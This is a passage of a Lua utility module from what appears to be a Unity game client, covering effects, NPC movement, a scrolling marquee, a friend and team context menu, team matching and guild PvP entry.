SGK.Action.DelayTime.Create(delectTime):OnComplete(function()
_removeFunc();
end)
end
end)
end
if sound and sound ~= "0" then
SGK.ResourcesManager.LoadAsync("sound/"..sound,typeof(UnityEngine.AudioClip),function (Audio)
view.Root[UnityEngine.AudioSource].clip = Audio
view.Root[UnityEngine.AudioSource]:Play()
end)
end
view.Exit[CS.UGUIClickEventListener].onClick = function ()
_removeFunc();
end
else
ERROR_LOG(nil,"配置表role_info中"..id.."不存在")
end
end
end
function SGKTools.CloseFrame()
DialogStack.Pop()
--[[
if #DialogStack.GetPref_stact() > 0 or #DialogStack.GetStack() > 0 or SceneStack.Count() > 1 then
DispatchEvent("KEYDOWN_ESCAPE")
end
--]]
end
local monsterSkill = nil
function SGKTools.LoadMonsterSkill( role_id, role_lev )
local _cfg = battleCfg.LoadNPC(role_id,role_lev)
if not _cfg then
ERROR_LOG("%d %d not exits battleCfg",role_id,role_lev);
return
end
return _cfg;
end
function SGKTools.CloseStory()
DispatchEvent("CloseStoryReset")
end
function SGKTools.loadEffect(name,id,data)--给NPC或玩家身上加载一个特效
if id then
local _npc = module.NPCModule.GetNPCALL(id)
if _npc then
if _npc.effect_list and _npc.effect_list[name] and SGKTools.GameObject_null(_npc.effect_list[name]) ~= true then
_npc.effect_list[name]:SetActive(false)
_npc.effect_list[name]:SetActive(true)
else
module.NPCModule.LoadNpcEffect(id,name,true)
end
end
else
if not data or not data.pid then
if not data then
data = {pid = module.playerModule.GetSelfID()}
else
data.pid = module.playerModule.GetSelfID()
end
end
DispatchEvent("loadPlayerEffect",{name = name,data = data})
end
end
--给玩家加载一个特效可以重复
function SGKTools.loadTwoEffect( name,id,data )
id = id or module.playerModule.GetSelfID()
if not data then
data = {pid = id,time = 1}
else
data.pid = id
data.time = data.time or 1
end
DispatchEvent("LOAD_PLAYER_EFFECT",{name = name,data = data});
end
function SGKTools.DelEffect(name,id,data)--删除npc或玩家身上某个特效
if id then
local _npc = module.NPCModule.GetNPCALL(id)
if _npc then
if _npc.effect_list and _npc.effect_list[name] then
if SGKTools.GameObject_null(_npc.effect_list[name]) == false then
UnityEngine.GameObject.Destroy(_npc.effect_list[name].gameObject)
end
_npc.effect_list[name] = nil
end
end
else
if not data or not data.pid then
DispatchEvent("DelPlayerEffect",{name = name,data = {pid = module.playerModule.GetSelfID()}})
else
DispatchEvent("DelPlayerEffect",{name = name,data = data})
end
end
end
function SGKTools.SynchronousPlayStatus(data)
local NetworkService = require "utils.NetworkService"
NetworkService.Send(18046, {nil,data})--向地图中其他人发送刷新玩家战斗信息
end
function SGKTools.TeamAssembled()--队伍集结
module.TeamModule.SyncTeamData(111)
end
function SGKTools.EffectGather(fun,icon,desc,delay)
if not delay then
local _item = SGK.ResourcesManager.Load("prefabs/effect/UI/fx_woring_ui.prefab")
local _obj = CS.UnityEngine.GameObject.Instantiate(_item, UnityEngine.GameObject.FindWithTag("UGUIRootTop").transform)
local _view = CS.SGK.UIReference.Setup(_obj)
_view.fx_woring_ui_1.gzz_ani.text_working[UI.Text].text = desc or "采集中"
_view.fx_woring_ui_1.gzz_ani.icon_working[UI.Image]:LoadSprite("icon/" .. icon)
UnityEngine.GameObject.Destroy(_obj, 2)
else
local _item = SGK.ResourcesManager.Load("prefabs/effect/UI/fx_working_ui_n.prefab")
local _obj=CS.UnityEngine.GameObject.Instantiate(_item,UnityEngine.GameObject.FindWithTag("UGUIRootTop").transform)
local _view = CS.SGK.UIReference.Setup(_obj)
CS.UnityEngine.GameObject.Destroy(_obj, delay)
_view.fx_working_ui_n.gzzing_ani.ui.text_working[UI.Text].text = desc or SGK.Localize:getInstance():getValue("zhuangyuan_caiji_01")
_view.fx_working_ui_n.gzzing_ani.ui.icon_working[UI.Image]:LoadSprite("icon/" .. icon)
_view.fx_working_ui_n.gzzing_ani.ui.huan[UI.Image]:DOFillAmount(1,delay):OnComplete(function()
_view.fx_working_ui_n.gzzing_ani[UnityEngine.Animator]:Play("ui_working_2")
_item.transform:DOScale(Vector3.one,1)
end)
end
end
function SGKTools.BuildBossStatus(npcid,_type)
local buildScienceConfig = require "config.buildScienceConfig"
local QuestModule = require "module.QuestModule"
local activityConfig = require "config.activityConfig"
local info = QuestModule.CityContuctInfo()
local monster_config = activityConfig.GetCityConfig(nil,nil,nil,npcid)
if not monster_config then
return false;
end
local technology = buildScienceConfig.GetScienceConfig(monster_config.map_id);
if not technology[_type] then
return false
end
local lockLev = technology[_type][1].city_level
local cfg = monster_config;
local lastLv = activityConfig.GetCityLvAndExp(info,cfg.type);
-- npc_config[1].mapid
if not lastLv or lastLv < lockLev then
return false
else
return true
end
end
function SGKTools.loadEffectVec3(name,Vec3,time,lock,fun,scale)--加载一个全屏的UI特效
local eff = GetUIParent(SGK.ResourcesManager.Load("prefabs/effect/"..name..".prefab"),UnityEngine.GameObject.FindWithTag("UGUITopRoot"))
local _scale = scale or 100
eff.transform.localScale = Vector3(_scale,_scale,_scale)
local lockObj = nil
if lock then
SGKTools.LockMapClick(true, time);
end
SGK.Action.DelayTime.Create(time):OnComplete(function()
if fun then
fun()
end
UnityEngine.GameObject.Destroy(eff.gameObject)
end)
end
function SGKTools.StoryPlayFullscreenEffect(name,Vec3,time,lock,fun,scale)-- 加载StoryFrame用的全屏UI特效
DispatchEvent("STORY_FULL_SCREEN_EFFECT", name,Vec3,time,lock,fun,scale)
end
local loadSceneEffectArr = {}
function SGKTools.loadSceneEffect(name,Vec3,time,lock,fun)
if loadSceneEffectArr[name] then
return;
end
ERROR_LOG("加载特效===========>>>>",name);
local eff = CS.UnityEngine.GameObject.Instantiate(SGK.ResourcesManager.Load("prefabs/effect/"..name .. ".prefab"))
if Vec3 then
eff.transform.position = Vec3
end
local lockView = nil
if lock then
lockView = GetUIParent(SGK.ResourcesManager.Load("prefabs/base/LockFrame.prefab"))
end
loadSceneEffectArr[name] = {eff,lockView}
if time then
SGK.Action.DelayTime.Create(time):OnComplete(function()
if fun then fun() end
if lockView then
UnityEngine.GameObject.Destroy(lockView.gameObject)
end
end)
end
end
function SGKTools.DestroySceneEffect(name,time,fun)
if not loadSceneEffectArr[name] then
return;
end
if SGKTools.GameObject_null(loadSceneEffectArr[name]) or SGKTools.GameObject_null(loadSceneEffectArr[name][1]) then
loadSceneEffectArr[name] = nil
return;
end
print("============",sprinttb(loadSceneEffectArr[name]))
if loadSceneEffectArr[name] and loadSceneEffectArr[name][1].activeSelf then
if time then
SGK.Action.DelayTime.Create(time):OnComplete(function()
if fun then
fun()
end
CS.UnityEngine.GameObject.Destroy(loadSceneEffectArr[name][1].gameObject)
if loadSceneEffectArr[name][2] then
CS.UnityEngine.GameObject.Destroy(loadSceneEffectArr[name][2].gameObject)
end
loadSceneEffectArr[name] = nil
end)
end
end
end
function SGKTools.NPC_Follow_Player(id,type)
DispatchEvent("NPC_Follow_Player",id,type)
end
function SGKTools.NPCDirectionChange(id,Direction)
local npc = module.NPCModule.GetNPCALL(id)
npc[SGK.MapPlayer].Default_Direction = Direction
end
local now_TaskId = nil
function SGKTools.GetTaskId()
return now_TaskId
end
function SGKTools.SetTaskId(id)
now_TaskId = id
end
function SGKTools.SetNPCSpeed(id,speed)
if id then
module.NPCModule.GetNPCALL(id)[UnityEngine.AI.NavMeshAgent].speed = speed
end
end
--设置自己加载的NPC
function SGKTools.SetMAPNPCSpeed(obj,speed,off,per)
if obj then
if speed then
obj[UnityEngine.AI.NavMeshAgent].speed = speed
elseif off then
obj[UnityEngine.AI.NavMeshAgent].speed = obj[UnityEngine.AI.NavMeshAgent].speed - off
elseif per then
obj[UnityEngine.AI.NavMeshAgent].speed = obj[UnityEngine.AI.NavMeshAgent].speed * per
end
end
end
function SGKTools.SetNPCTimeScale(id,TimeScale)
if id then
module.NPCModule.GetNPCALL(id).Root.spine[CS.Spine.Unity.SkeletonAnimation].timeScale = TimeScale
end
end
function SGKTools.PLayerConceal(status,duration,delay)
DispatchEvent("PLayer_Shielding",{pid = module.playerModule.GetSelfID(),x = (status and 0 or 1),status = true,duration = duration,delay = delay})
end
function SGKTools.PLayerConcealtwo(x,duration,delay)
DispatchEvent("PLayer_Shielding",{pid = module.playerModule.GetSelfID(),x = x,status = true,duration = duration,delay = delay})
end
function SGKTools.TeamConceal(status,duration,delay)
local members = module.TeamModule.GetTeamMembers()
for k,v in ipairs(members) do
DispatchEvent("PLayer_Shielding",{pid = v.pid,x = (status and 0 or 1),status = true,duration = duration,delay = delay})
end
end
function SGKTools.TeamConcealtwo(x,duration,delay)
local members = module.TeamModule.GetTeamMembers()
for k,v in ipairs(members) do
DispatchEvent("PLayer_Shielding",{pid = v.pid,x = x,status = true,duration = duration,delay = delay})
end
end
function SGKTools.TeamScript(value)--全队执行脚本
module.TeamModule.SyncTeamData(109,value)
end
function SGKTools.PlayerMoveZERO()--脱离卡位
DispatchEvent("MAP_CHARACTER_MOVE_Player", {module.playerModule.GetSelfID(), 0, 0, 0, true});
end
function SGKTools.PlayerMove(x, y, z, pid)
DispatchEvent("MAP_CHARACTER_MOVE_Player", {pid or module.playerModule.GetSelfID(), x, y, z});
end
function SGKTools.PlayerTransfer(x,y,z)--瞬移
DispatchEvent("MAP_CHARACTER_MOVE_Player", {module.playerModule.GetSelfID(), x, y, z, true});
end
function SGKTools.ChangeMapPlayerMode(mode)
DispatchEvent("MAP_FORCE_PLAYER_MODE", {pid = module.playerModule.GetSelfID(), mode = mode});
end
local ScrollingMarqueeView = nil
local ScrollingMarqueeDesc = {}
local ScrollingMarqueeText = {};
local ScrollingMarquee_lock = true
local IsMove = false
function SGKTools.ScrollingMarquee_Change(lock)
ScrollingMarquee_lock = lock
end
local __next_index = 0;
local function string_trim(s)
return (s:gsub("^%s*(.-)%s*$", "%1"))
end
local function string_replace(s, a, b)
return (s:gsub(a, b))
end
local function ScrollingMarquee_Append(desc, level)
if desc then
desc = string_replace(string_replace(string_trim(desc), '\n', ' '), '\r', ' ');
__next_index = __next_index + 1;
table.insert(ScrollingMarqueeDesc, {desc = desc,level = level or 0, index = __next_index});
table.sort(ScrollingMarqueeDesc,function (a,b)
if a.level == b.level then return a.index < b.index end;
return a.level > b.level
end)
end
end
local function ScrollingMarquee_Pop()
if ScrollingMarqueeDesc[1] then
local desc = ScrollingMarqueeDesc[1].desc;
table.remove(ScrollingMarqueeDesc, 1);
return desc;
end
end
local function ScrollingMarquee_Count()
return #ScrollingMarqueeDesc;
end
function SGKTools.showScrollingMarquee(desc,level)
if ScrollingMarquee_lock then
return
end
ScrollingMarquee_Append(desc, level);
if ScrollingMarquee_Count() == 0 then
return;
end
if ScrollingMarqueeView == nil then
local root = UnityEngine.GameObject.FindWithTag("UGUIRoot")
if not root then
ERROR_LOG("ScrollingMarquee root is nil")
return
end
local parent = CS.SGK.UIReference.Setup(root).ScrollingMarqueeRoot
ScrollingMarqueeView = CS.SGK.UIReference.Setup(GetUIParent(SGK.ResourcesManager.Load("prefabs/base/ScrollingMarquee.prefab"),parent))
ScrollingMarqueeView[UnityEngine.CanvasGroup]:DOFade(1,0.5):OnComplete(function( ... )
SGKTools.showScrollingMarquee();
end)
return;
end
local text_count = #ScrollingMarqueeText
local last_text = ScrollingMarqueeText[text_count];
if last_text and last_text.anchoredPosition.x < - last_text.sizeDelta.x - 100 then
last_text = nil;
end
if last_text then
return;
end
local descText = SGK.UIReference.Instantiate(ScrollingMarqueeView.bg.desc, ScrollingMarqueeView.bg.transform);
table.insert(ScrollingMarqueeText,descText.transform);
local desc = ScrollingMarquee_Pop();
descText:SetActive(true);
descText[UnityEngine.UI.Text].text = desc;
local width = ScrollingMarqueeView.bg.transform.sizeDelta.x;
descText.transform:DOLocalMoveX(0, 0.1):OnComplete(function()
local text_width = descText.transform.sizeDelta.x;
local distance = text_width + width;
local show_next_time = (text_width + 150)/ 80;
SGK.Action.DelayTime.Create(show_next_time):OnComplete(function()
SGKTools.showScrollingMarquee();
end)
descText.transform:DOLocalMoveX(-distance, distance / 80):OnComplete(function()
SGKTools.showScrollingMarquee();
for k, v in ipairs(ScrollingMarqueeText) do
if v == descText.transform then
if k == #ScrollingMarqueeText then
ScrollingMarqueeView[UnityEngine.CanvasGroup]:DOFade(0,0.5):OnComplete(function()
if #ScrollingMarqueeText == 0 then
UnityEngine.GameObject.Destroy(ScrollingMarqueeView.gameObject);
ScrollingMarqueeView = nil;
end
end)
else
UnityEngine.GameObject.Destroy(descText);
end
table.remove(ScrollingMarqueeText, k)
break;
end
end
end):SetEase(CS.DG.Tweening.Ease.Linear)
end)
end
function SGKTools.Map_Interact(npc_id)
local MapConfig = require "config.MapConfig"
local npc_conf = MapConfig.GetMapMonsterConf(npc_id)
if not npc_conf then
ERROR_LOG("NPC_id->"..npc_id.."在NPC表中不存在")
return
end
local mapid = npc_conf.mapid
if SceneStack.GetStack()[SceneStack.Count()].savedValues.mapId ~= mapid then
SceneStack.EnterMap(mapid);
end
module.EncounterFightModule.GUIDE.Interact("NPC_"..npc_id);
end
function SGKTools.PlayGameObjectAnimation(name, trigger)
local obj = UnityEngine.GameObject.Find(name);
if not obj then
print("object no found", name);
return;
end
local animator = obj:GetComponent(typeof(UnityEngine.Animator));
if animator then
animator:SetTrigger(trigger);
end
end
function SGKTools.StronglySuggest(desc)
local obj = GetUIParent(SGK.ResourcesManager.Load("prefabs/base/StronglySuggest.prefab"))
local view = CS.SGK.UIReference.Setup(obj)
view.desc[UnityEngine.UI.Text].text = desc
view[UnityEngine.CanvasGroup]:DOFade(1,0.5):OnComplete(function ( ... )
view[UnityEngine.CanvasGroup]:DOFade(0, 0.5):SetDelay(1):OnComplete(function ( ... )
CS.UnityEngine.GameObject.Destroy(obj);
end);
end)
end
function SGKTools.FriendTipsNew(parent,pid,Toggle,data)
local obj = GetUIParent(SGK.ResourcesManager.Load("prefabs/base/FriendTipsNew.prefab"),parent[1])
--obj.transform:SetParent(parent[2].transform,true)
obj.transform.localScale = Vector3(1,1,1)
--parent[2]:SetActive(true)
local view = CS.SGK.UIReference.Setup(obj)
view.Root.transform.position = parent[2].transform.position
view.Root[UnityEngine.CanvasGroup]:DOFade(1,0.5)
view.mask[CS.UGUIClickEventListener].onClick = function ( ... )
DispatchEvent("FriendTipsNew_close")
--view.Root[UnityEngine.CanvasGroup]:DOFade(0,0.5):OnComplete(function( ... )
UnityEngine.GameObject.Destroy(obj)
--end)
end
if Toggle then
for i = 1,#Toggle do
view.Root.group[Toggle[i]]:SetActive(true)
if Toggle[i] == 5 then
local FriendData = module.FriendModule.GetManager(1,pid)
view.Root.group[Toggle[i]].Text[UnityEngine.UI.Text].text = FriendData and FriendData.care == 1 and "取消关注" or "特别关注"
elseif Toggle[i] == 3 then
view.Root.group[Toggle[i]].Text[UnityEngine.UI.Text].text = ""
module.TeamModule.GetPlayerTeam(pid,true,function( ... )
local ClickTeamInfo = module.TeamModule.GetClickTeamInfo(pid)
if ClickTeamInfo and ClickTeamInfo.members and ClickTeamInfo.members[1] and module.TeamModule.GetTeamInfo().id <= 0 then
view.Root.group[Toggle[i]].Text[UnityEngine.UI.Text].text = "申请入队"
else
view.Root.group[Toggle[i]].Text[UnityEngine.UI.Text].text = "邀请入队"
end
end)
end
view.Root.group[Toggle[i]][CS.UGUIClickEventListener].onClick = function ( ... )
if Toggle[i] == 1 then--加好友
utils.NetworkService.Send(5013,{nil,1,pid})
elseif Toggle[i] == 5 then--特别关注
local FriendData = module.FriendModule.GetManager(1,pid)
if FriendData and FriendData.care == 1 then
utils.NetworkService.Send(5013,{nil,1,pid})
else
if module.FriendModule.GetcareCount() < 5 then
utils.NetworkService.Send(5013,{nil,3,pid})
else
showDlgError(nil,"特别关注已达上限")
end
end
elseif Toggle[i] == 4 then--私聊
local ChatDataList = {}
if data then
for i = 1,#data do
ChatDataList[i] = data[i]
end
end
local ChatData = module.ChatModule.GetManager(8)
if ChatData and ChatData[pid] then
ChatData = ChatData[pid]
for i = 1,#ChatData do
if ChatData[i].status == 1 then
local FriendData = module.FriendModule.GetManager(nil,pid)
if FriendData and (FriendData.type == 1 or FriendData.type == 3) then
--utils.NetworkService.Send(5005,{nil,{{ChatData[i].id,2}}})--已读取加好友通知
end
else
ChatDataList[#ChatDataList+1] = ChatData[i]
end
end
end
table.sort(ChatDataList,function(a,b)
return a.time < b.time
end)
-- local list = {data = ChatDataList,pid = pid}
-- DialogStack.PushPref("FriendChat",list,UnityEngine.GameObject.FindWithTag("UGUIRootTop").gameObject)
DispatchEvent("FriendSystemlist_indexChange",{i = 1,pid = pid,name = module.playerModule.IsDataExist(pid).name})
--SGKTools.FriendChat()
elseif Toggle[i] == 2 then--邀请入团
if module.unionModule.Manage:GetUionId() == 0 then
showDlgError(nil, "您还没有公会")
elseif module.unionModule.GetPlayerUnioInfo(pid).unionId ~= nil and module.unionModule.GetPlayerUnioInfo(pid).unionId ~= 0 then
showDlgError(nil, "该玩家已有公会")
else
local PlayerInfoHelper = require "utils.PlayerInfoHelper"
local openLevel = require "config.openLevel"
PlayerInfoHelper.GetPlayerAddData(pid, 7, function(addData)
local level = module.playerModule.Get(pid).level
if openLevel.GetStatus(2101,level) then
--if addData.UnionStatus then
if addData.RefuseUnion then
showDlgError(nil,"对方已设置拒绝邀请")
else
module.unionModule.Invite(pid)
end
else
showDlgError(nil,"对方未开启公会功能")
end
end,true)
end
elseif Toggle[i] == 3 then--邀请入队
-- local teamInfo = module.TeamModule.GetTeamInfo();
-- if teamInfo.group ~= 0 then
-- module.TeamModule.Invite(pid)
-- else
-- showDlgError(nil,"请先创建一个队伍")
-- end
if view.Root.group[Toggle[i]].Text[UnityEngine.UI.Text].text == "申请入队" then
local ClickTeamInfo = module.TeamModule.GetClickTeamInfo(pid)
if ClickTeamInfo.upper_limit == 0 or (module.playerModule.Get().level >= ClickTeamInfo.lower_limit and module.playerModule.Get().level <= ClickTeamInfo.upper_limit) then
module.TeamModule.JoinTeam(ClickTeamInfo.members[3])
else
showDlgError(nil,"你的等级不满足对方的要求")
end
else
local PlayerInfoHelper = require "utils.PlayerInfoHelper"
local openLevel = require "config.openLevel"
PlayerInfoHelper.GetPlayerAddData(pid, 7, function(addData)
--ERROR_LOG(sprinttb(addData))
--if addData.TeamStatus then
local level = module.playerModule.Get(pid).level
if openLevel.GetStatus(1601,level) then
if addData.RefuseTeam then
showDlgError(nil,"对方已设置拒绝邀请")
else
if module.TeamModule.GetTeamInfo().id <= 0 then
module.TeamModule.CreateTeam(999,function ( ... )
module.TeamModule.Invite(pid);
end);--创建空队伍并邀请对方
else
module.TeamModule.Invite(pid);
end
end
else
showDlgError(nil,"对方未开启组队功能")
end
end,true)
end
elseif Toggle[i] == 8 then--拉黑
local FriendData = module.FriendModule.GetManager(1,pid)
if FriendData then
utils.NetworkService.Send(5013,{nil,2,pid})--朋友黑名单
else
utils.NetworkService.Send(5013,{nil,4,pid})--陌生人黑名单
end
elseif Toggle[i] == 9 then--删除好友
showDlg(nil,"确定要删除该好友吗?",function()
utils.NetworkService.Send(5015,{nil,pid})
end,function ( ... )
end)
elseif Toggle[i] == 6 then--礼物
DialogStack.PushPref("FriendBribeTaking",{pid = pid,name = module.playerModule.IsDataExist(pid).name},view.transform.parent.gameObject)
elseif Toggle[i] == 7 then--进入基地
utils.MapHelper.EnterOthersManor(pid)
else
ERROR_LOG("参数错误",Toggle[i])
end
--parent[2]:SetActive(false)
DispatchEvent("FriendTipsNew_close")
view.Root[UnityEngine.CanvasGroup]:DOFade(0,0.5):OnComplete(function( ... )
UnityEngine.GameObject.Destroy(obj)
end)
end
end
end
end
function SGKTools.FormattingNumber(Count)
if Count > 1000000 then
return SGKTools.GetPreciseDecimal(Count/1000000,1).."M"
elseif Count > 1000 then
return SGKTools.GetPreciseDecimal(Count/1000,1).."K"
end
return Count
end
function SGKTools.GetPreciseDecimal(nNum, n)
if type(nNum) ~= "number" then
return nNum;
end
n = n or 0;
n = math.floor(n)
if n < 0 then
n = 0;
end
local nDecimal = 10 ^ n
local nTemp = math.floor(nNum * nDecimal);
local nRet = nTemp / nDecimal;
return nRet;
end
function SGKTools.ChangeNpcDir(obj, direction)
obj:GetComponent(typeof(SGK.MapPlayer)):SetDirection(direction)
end
function SGKTools.EnterMap(name)
module.EncounterFightModule.GUIDE.EnterMap(name)
end
function SGKTools.Interact(name)
module.EncounterFightModule.GUIDE.Interact(name)
end
function SGKTools.Stop()
module.EncounterFightModule.GUIDE.Stop()
end
function SGKTools.GetCurrentMapName()
module.EncounterFightModule.GUIDE.GetCurrentMapName()
end
function SGKTools.GetCurrentMapID()
module.EncounterFightModule.GUIDE.GetCurrentMapID()
end
function SGKTools.StartPVEFight(fightID)
module.EncounterFightModule.GUIDE.StartPVEFight(fightID)
end
function SGKTools.ON_Interact()
module.EncounterFightModule.GUIDE.ON_Interact()
end
function SGKTools.GetInteractInfo()
module.EncounterFightModule.GUIDE.GetInteractInfo()
end
function SGKTools.NPCInit(gameObject)
module.EncounterFightModule.GUIDE.NPCInit(gameObject)
end
function SGKTools.StopPlayerMove(pid)
DispatchEvent("LOCAL_MAPSCENE_STOPPLAYER_MOVE")
end
function SGKTools.ScientificNotation(number)
local _item = number
if _item >= 1000000 then
_item = string.format("%.1f", _item/1000000).."M"
elseif _item >= 1000 then
_item = string.format("%.1f", _item/1000).."K"
end
return _item
end
---true为组队中
function SGKTools.GetTeamState()
local teamInfo = module.TeamModule.GetTeamInfo() or {}
return (teamInfo.id > 0)
end
--
function SGKTools.GetEnterOthersManor( other_level )
if module.playerModule.Get().level < openLevel.GetCfg(2001).open_lev then
return;
end
if other_level < openLevel.GetCfg(2001).open_lev then
return
end
if utils.SGKTools.GetTeamState() then
if utils.SGKTools.isTeamLeader() then
return true;
else
if module.TeamModule.GetAfkStatus() ~= true then
return
else
return true;
end
end
else
return true;
end
end
function SGKTools.PlayerMatching(id)
if SceneStack.GetBattleStatus() then
showDlgError(nil, "战斗内无法进行该操作")
return
end
local teamInfo = module.TeamModule.GetTeamInfo()
if teamInfo.group == 0 then
if module.TeamModule.GetplayerMatchingType() ~= 0 then
module.TeamModule.playerMatching(0)
else
if id == 0 or id == 999 or id == nil then
return showDlgError(nil,SGK.Localize:getInstance():getValue("zudui_fuben_07"))--请选择一个目标
end
local CemeteryConf = require "config.cemeteryConfig"
local cemeteryCfg = CemeteryConf.Getteam_battle_conf(id)
if module.playerModule.Get().level < cemeteryCfg.limit_level then
showDlgError(nil, "等级不足")
return
end
module.TeamModule.playerMatching(id)
end
end
end
function SGKTools.SwitchTeamTarget( group )
local teamInfo = module.TeamModule.GetTeamInfo()
local _status = teamInfo.group ~= 0
local CemeteryConf = require "config.cemeteryConfig"
local cemeteryCfg = CemeteryConf.Getteam_battle_conf(group)
if _status then
if SceneStack.GetBattleStatus() then
showDlgError(nil, "战斗内无法进行该操作")
return
end
if group == 0 or group == 999 then
return showDlgError(nil,SGK.Localize:getInstance():getValue("zudui_fuben_07"))--请选择一个目标
end
if group ~= teamInfo.group then
coroutine.resume( coroutine.create( function ( ... )
local ret = utils.NetworkService.SyncRequest(18178,{nil, group})
teamInfo = module.TeamModule.GetTeamInfo()
if ret[2] == 0 then
if teamInfo.leader.pid == module.playerModule.Get().id then
if module.TeamModule.GetTeamInfo().auto_match then
module.TeamModule.TeamMatching(false)
else
local lv_limit = ActivityTeamlist.Get_all_activity(teamInfo.group).lv_limit
local unqualified_name = {}
for k,v in ipairs(module.TeamModule.GetTeamMembers()) do
if v.level < lv_limit then
unqualified_name[#unqualified_name+1] = {v.pid,"队伍成员"..v.name.."未达到副本所需等级"}
end
end
if #unqualified_name == 0 then
if teamInfo.group ~= 0 and teamInfo.group ~= 999 then
module.TeamModule.TeamMatching(true)
else
module.TeamModule.TeamMatching(false)
end
else
for i =1 ,#unqualified_name do
module.TeamModule.SyncTeamData(107,{unqualified_name[i][1],unqualified_name[i][2]})
end
end
end
else
showDlgError(nil,SGK.Localize:getInstance():getValue("common_duiyuanpipei"))
end
end
end ) )
else
if teamInfo.leader.pid == module.playerModule.Get().id then
if module.TeamModule.GetTeamInfo().auto_match then
module.TeamModule.TeamMatching(false)
else
local lv_limit = ActivityTeamlist.Get_all_activity(teamInfo.group).lv_limit
local unqualified_name = {}
for k,v in ipairs(module.TeamModule.GetTeamMembers()) do
if v.level < lv_limit then
unqualified_name[#unqualified_name+1] = {v.pid,"队伍成员"..v.name.."未达到副本所需等级"}
end
end
if #unqualified_name == 0 then
if teamInfo.group ~= 0 and teamInfo.group ~= 999 then
module.TeamModule.TeamMatching(true)
else
module.TeamModule.TeamMatching(false)
end
else
for i =1 ,#unqualified_name do
module.TeamModule.SyncTeamData(107,{unqualified_name[i][1],unqualified_name[i][2]})
end
end
end
else
showDlgError(nil,SGK.Localize:getInstance():getValue("common_duiyuanpipei"))
end
end
end
end
---true为队长
function SGKTools.isTeamLeader()
local teamInfo = module.TeamModule.GetTeamInfo() or {}
return (teamInfo.leader and teamInfo.leader.pid) and (module.playerModule.Get().id == teamInfo.leader.pid)
end
function SGKTools.CheckPlayerMode(mode)--查询玩家形象是否匹配
local addData=utils.PlayerInfoHelper.GetPlayerAddData(0,8)
return addData.ActorShow==mode
end
function SGKTools.ChecHeroFashionSuit(suitId,heroId)--查询Hero时装是否匹配
local hero=utils.ItemHelper.Get(utils.ItemHelper.TYPE.HERO, heroId)
return hero.showMode==suitId
end
function SGKTools.InToDefensiveFortress()--进入元素暴走
print("队长请求进入 元素暴走活动")
if SceneStack.GetBattleStatus() then
showDlgError(nil, "战斗内无法进行该操作")
else
local NetworkService = require "utils.NetworkService"
NetworkService.Send(16127)
end
end
--检查队伍中所有人是否跟随true
function SGKTools.CheckAllMemberAFK( )
if not utils.SGKTools.GetTeamState() then
return nil
end
local teamInfo = module.TeamModule.GetTeamInfo()
local members = teamInfo.members
local list = {}
if utils.SGKTools.isTeamLeader() then
for i = 1,#members do
if members[i].pid ~= teamInfo.leader.pid then
if module.TeamModule.getAFKMembers(members[i].pid) then
return nil
end
end
end
return true;
end
return nil
end
--检查自己是否跟随:跟随true,暂离false,队长nil
function SGKTools.CheckPlayerAfkStatus( pid )
pid = pid or module.playerModule.Get().id;
if utils.SGKTools.GetTeamState() and utils.SGKTools.isTeamLeader() then
return nil;
end
if utils.SGKTools.GetTeamState() and not module.TeamModule.GetAfkStatus(pid) then
return true;
end
end
function SGKTools.CheckDialog()
if SceneStack.GetBattleStatus() then
showDlgError(nil, "战斗内无法进行该操作")
return false
end
if utils.SGKTools.GetTeamState() then
showDlgError(nil, "队伍内无法进行该操作")
return false
end
return true
end
function SGKTools.OpenGuildPvp( ... )
local teamInfo = module.TeamModule.GetTeamInfo();
if SceneStack.GetBattleStatus() or teamInfo.id > 0 then
DialogStack.Push("guild_pvp/GuildPVPJoinPanel")
else
if SGKTools.isAlreadyJoined() then
SceneStack.Push("GuildPVPPreparation", "view/guild_pvp/GuildPVPPreparation.lua")
else
DialogStack.Push("guild_pvp/GuildPVPJoinPanel")
end
end
end
function SGKTools.isAlreadyJoined( ... )
local guild = module.unionModule.Manage:GetSelfUnion();
if guild == nil then
return false;
end
local GuildPVPGroupModule = require "guild.pvp.module.group"
local list = GuildPVPGroupModule.GetGuildList();
for _, v in ipairs(list) do
if v.id == guild.id then
return true
end
end
return false;
end
function SGKTools.UnionPvpState()
return true
-- local GuildPVPGroupModule = require "guild.pvp.module.group"
-- local status,fight_status = GuildPVPGroupModule.GetStatus();
-- if GuildPVPGroupModule.GetMinOrder() == nil or GuildPVPGroupModule.GetMinOrder() == 1 or status == 0 then
-- return true
-- end
-- showDlgError(nil, "公会战中无法操作")
-- return false
end
function SGKTools.ClearMapPlayer(status)--是否清除地图所有玩家并锁定生成
DispatchEvent("ClearMapPlayer",status)
end
function SGKTools.ShieldingMapPlayer()--屏蔽地图玩家
local Shielding = module.MapModule.GetShielding()
module.MapModule.SetShielding(not Shielding)
Shielding = not Shielding
local map_list = module.TeamModule.GetMapTeam()--拿到地图上所有队伍数据
local teamInfo = module.TeamModule.GetTeamInfo()
--ERROR_LOG(sprinttb(map_list))
for k,v in pairs(map_list) do
for i = 1,#v[2] do
if teamInfo.id <= 0 or (teamInfo.id > 0 and v[3] ~= teamInfo.id) then
DispatchEvent("PLayer_Shielding",{pid = v[2][i],x = (Shielding and 0 or 1)})
end
end
end
local MapGetPlayers = module.TeamModule.MapGetPlayers()
for k,v in pairs(MapGetPlayers)do
--ERROR_LOG(k)
if module.playerModule.GetSelfID() ~= k then
DispatchEvent("PLayer_Shielding",{pid = k,x = (Shielding and 0 or 1)})
end
end
end
function SGKTools.StoryEndEffect(desc1,desc2,desc3)--剧情某一章节结束特效
utils.SGKTools.PopUpQueue(6,{desc1,desc2,desc3})
end
function SGKTools.StoryEndEffectCallBack(data,fun)
local desc1,desc2,desc3 = data[1],data[2],data[3]
local obj = UnityEngine.GameObject.Instantiate(SGK.ResourcesManager.Load("prefabs/Effect/UI/jvqing_end.prefab"))
local LockMapObj = GetUIParent(SGK.ResourcesManager.Load("prefabs/base/LockFrame.prefab"))
local LockMapObj_view = CS.SGK.UIReference.Setup(LockMapObj)
local _view = CS.SGK.UIReference.Setup(obj)
_view.end_ani.tiedoor_2.zhanjie[UnityEngine.TextMesh].text = desc1
_view.end_ani.tiedoor_2.biaoti[UnityEngine.TextMesh].text = desc2
_view.end_ani.tiedoor_2.kaiqi[UnityEngine.TextMesh].text = desc3
LockMapObj_view[CS.UGUIClickEventListener].onClick = function ( ... )
_view.end_ani[UnityEngine.Animator]:Play("tiedoor_ani2")
SGK.Action.DelayTime.Create(1):OnComplete(function()
UnityEngine.GameObject.Destroy(obj)
UnityEngine.GameObject.Destroy(LockMapObj)
if fun then
fun()
end
end)
end
end
function SGKTools.Iphone_18(fun_1,fun_2, info)
